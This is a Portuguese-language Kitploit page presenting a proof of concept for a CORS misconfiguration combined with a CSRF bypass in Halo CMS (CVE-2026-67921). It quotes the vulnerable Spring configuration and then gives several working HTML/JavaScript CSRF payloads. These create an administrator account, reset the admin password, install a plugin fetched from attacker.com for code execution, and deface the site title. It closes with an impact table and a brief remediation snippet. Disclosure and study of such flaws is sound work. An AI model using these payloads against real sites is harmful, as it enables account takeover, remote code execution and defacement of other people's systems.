halo-cors-csrf-CVE-2026-67921 — Prova de conceito demonstrando uma combinação de configuração incorreta de CORS e bypass de proteção CSRF no Halo CMS, permitindo ataques de falsificação de solicitação entre sites para criar usuários administradores, alterar senhas, instalar plugins e modificar conteúdo. | Kitploit

CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← QUALQUER origem
    configuration.setAllowCredentials(true);                // ← Permitir cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Rotas de API excluídas do CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

┌─────────────────────────────────────────────────────────────┐
│  Atacante hospeda página maliciosa em evil.com              │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Navegador da vítima visita evil.com                        │
│  → Formulário é enviado automaticamente para a API do Halo  │
│  → Navegador inclui o cookie de sessão automaticamente      │
│  → CORS: Origin * + credentials: true → Requisição permitida!│
│  → CSRF: /apis/** excluído → Nenhum token necessário!       │
│  → Requisição é bem-sucedida com os privilégios da vítima   │
└─────────────────────────────────────────────────────────────┘

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

<html>
<body>
<script>
  // Alterar título do site
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Esta página tentará modificar as configurações do Halo quando carregada.</p>

<script>
// Testar CSRF modificando o título do site
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCESSO! O ataque CSRF funcionou.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Falhou: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "Ataque CSRF Bem-Sucedido - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Ataque	Impacto	Gravidade
Criar usuário administrador	Comprometimento total do sistema	Crítica
Alterar senha do administrador	Tomada de conta	Crítica
Instalar plugin malicioso	Execução Remota de Código	Crítica
Modificar conteúdo	Desfiguração	Alta
Excluir dados	Perda de dados	Alta
Roubar dados	Divulgação de informações	Alta

// Remover exclusões de API do matcher CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Proteção	Isolada	Combinada
CORS `*`	Bloqueia credenciais (imposto pelo navegador)	Credenciais permitidas!
Sem CSRF	Protegida pela Same-Origin Policy	Contornada pelo CORS!
Resultado	Seguro	CSRF Total

halo-cors-csrf-CVE-2026-67921

Mais Populares

Versões Afetadas

Detalhes da Vulnerabilidade

Vulnerabilidade 1: Configuração Incorreta de CORS

Vulnerabilidade 2: Bypass de Proteção CSRF

Mecanismo do Ataque

Por Que Esta Combinação é Perigosa

O Fluxo do Ataque

Cenários de Exploração

Cenário 1: Criar Usuário Administrador

Cenário 2: Alterar Senha do Administrador

Cenário 3: Instalar Plugin Malicioso (RCE)

Cenário 4: Modificar Conteúdo do Site

Prova de Conceito

Teste Básico de CSRF

Etapas de Verificação

Análise de Impacto

Remediação

Correção 1: Restringir Origens CORS

Correção 2: Habilitar CSRF para Rotas de API

Correção 3: Usar Autenticação com Token Bearer

Referências

Linha do Tempo